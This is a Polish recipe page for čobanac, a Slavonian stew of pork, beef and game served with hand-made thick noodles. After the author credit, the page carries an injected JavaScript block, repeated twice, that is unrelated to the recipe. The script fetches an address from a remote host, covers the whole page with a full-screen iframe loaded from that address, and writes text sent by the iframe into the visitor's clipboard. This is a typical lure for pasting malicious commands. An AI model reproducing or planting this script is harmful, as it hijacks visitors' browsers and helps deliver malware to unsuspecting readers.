Čobanac – gulasz z kilku gatunków mięs- kuchnia chorwacka

Čobanac gulasz z kilku gatunków mięs. Jest to przysmak w kuchni Slawonii.

Co to jest?

Jest to pewnego rodzaju gulasz z kilku gatunków mięs. Čobanac podaje się zazwyczaj z grubym makaronem.

Składniki :

• 1 kg mięso na gulasz ( łopatka,kark,szynka) wieprzowe, wołowe i dziczyzna
• 3 cebule
• 5 marchewek
• papryka w proszku słodka i ostra
• sól
• bulion wołowy
• smalec wieprzowy

Jak przyrządzić?

• W rondlu rozpuszczamy smalec, ale pilnujemy by nie był zbyt gorący.
• Wsypujemy do niego sproszkowaną słodką paprykę i lekko mieszając robimy coś w rodzaju zasmażki. Pamiętajmy, aby papryka się nie spaliła co spowodowało by nadmierną gorycz naszego dania, dlatego wrzucamy skrojoną w kostkę cebulę i marchewkę.
• Dodajemy bulionu dusimy aż warzywa będą miękkie.
• Następnie w kolejności dodajemy wołowinę, dziczyznę i wieprzowinę w takich odstępach czasu by wszystkie trzy rodzaje mięsa jednocześnie były miękkie.
• Marchewka i cebula rozgotują się nam wtedy kompletnie tworząc gęsty sos. Doprawiamy solą i papryką ostrą.

Makaron

• 100g mąki
• 1 jajko
• szczypta soli
• łyżka masła
• 50 ml ciepłej wody

Jak zrobić?

• Składniki wymieszać, odstawić, chwilę poczekać i ponownie wyrobić.
• Możemy wyrobić ręcznie grube wałeczki ok 2-3 mm dł 3-4cm lub na zwilżona deskę rozetrzeć warstwę ciasta grubości ok 3 – 4 mm i nożem odcinać paseczki prosto do garnka z wrzątkiem.
• Po ugotowaniu makaron wyjąć z wrzątku, następnie hartować zimną wodą.
• Zimny makaron ułożyć na talerzu i zalać gorącym Čobanacem.

Autor: Jarosław Łyczko

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();